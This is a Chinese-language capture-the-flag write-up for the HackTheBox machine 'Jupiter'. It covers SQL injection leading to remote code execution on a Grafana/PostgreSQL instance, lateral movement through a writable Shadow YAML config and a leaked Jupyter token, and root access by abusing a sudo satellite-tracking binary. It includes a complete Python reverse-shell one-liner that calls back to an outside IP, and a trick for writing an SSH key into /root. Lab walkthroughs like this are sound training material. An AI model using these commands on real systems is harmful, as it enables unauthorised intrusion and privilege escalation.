Jupiter
Jupiter 是一台中等难度的 Linux 机器,它有一个使用 PostgreSQL 数据库的 Grafana 实例,该数据库在权限上过度扩展,容易受到 SQL 注入的影响,因此容易受到远程代码执行的影响。一旦站稳脚跟,就会注意到一个名为 Shadow 的实用程序,这是一种科学实验工具,可以简化对真实网络应用程序的评估,但其配置文件的权限配置错误。然后,通过查看与 Jupyter Notebook 关联的日志文件来实现横向移动,这些日志文件包含次要用户的令牌。获得对此用户的访问权限后,可以通过滥用卫星跟踪系统二进制文件来实现权限提升,该二进制文件可能由次要用户使用“sudo”权限执行。
外部信息搜集
端口扫描
循例nmap
Web枚举
访问80跳转到了jupiter.htb,加入/etc/hosts
vhost扫描
ffuf扫出一个vhost
kiosk子域
SQL注入
我在查看bp日志的时候发现了这个包,里面包含了非常显眼的sql查询语句
把请求给到repeater,使用version()查询一下,发现执行成功
接下啦就不再需要脑子了,我们可以通过sqlmap一键尝试RCE
正如所料,是DBA
来个常规python3 reverse shell payload
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' &
payload最后的&不能少,否则shell可能会被杀死
getshell
本地横向移动 -> juno
传个pspy
2023/12/22 07:24:01 CMD: UID=1000 PID=2159 |
2023/12/22 07:24:01 CMD: UID=1000 PID=2160 | rm -rf /dev/shm/shadow.data
2023/12/22 07:24:01 CMD: UID=1000 PID=2161 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/12/22 07:24:01 CMD: UID=1000 PID=2164 | sh -c lscpu --online --parse=CPU,CORE,SOCKET,NODE
2023/12/22 07:24:01 CMD: UID=1000 PID=2165 | lscpu --online --parse=CPU,CORE,SOCKET,NODE
2023/12/22 07:24:01 CMD: UID=1000 PID=2170 |
2023/12/22 07:24:02 CMD: UID=1000 PID=2171 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/12/22 07:24:02 CMD: UID=1000 PID=2173 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/12/22 07:24:02 CMD: UID=1000 PID=2175 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
我们可以看到/home/juno/.local/bin/shadow这个应用似乎正将yml文件名作为输入并运行
这个文件我们有权读写
当我查看该文件时,接下来要做的事情便不再需要解释了
python3 payload
发现它确实执行了,但似乎执行没成功,反正我没get到shell
换种方法,直接写入ssh key
这次也执行了
登一下ssh看看有没有成功
本地横向移动 -> jovian
我看到当前用户具有另一个组,下意识查看那个组是否具有某些文件或目录
当我查看其中一个日志文件后,我发现本地8888端口的http服务应该就是jupyter
ssh做个端口转发
通过日志文件里的正确token,我们能够登录进去
进入这个文件
在这里我们能够运行python代码
直接来个python shellcode
nc
本地权限提升
sudo -l
通过strace发现它会读取/tmp/config.json,但由于不清楚它的配置究竟是怎么样的,所以即使我们自己创建了文件也没有意义
find
在那个目录下有我们想要的config.json
{
"tleroot": "/tmp/tle/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"http://celestrak.org/NORAD/elements/weather.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
将config.json复制到/tmp
运行看看效果
主要关注这句话
tleroot does not exist, creating it: /tmp/tle/
我们可以将tleroot改到/root/.ssh,然后它就会去请求tlesources的文件复制到tleroot,我们可以指定ssh public key
编辑/tmp/config.json
再次执行
ssh登root
root flag 还在老地方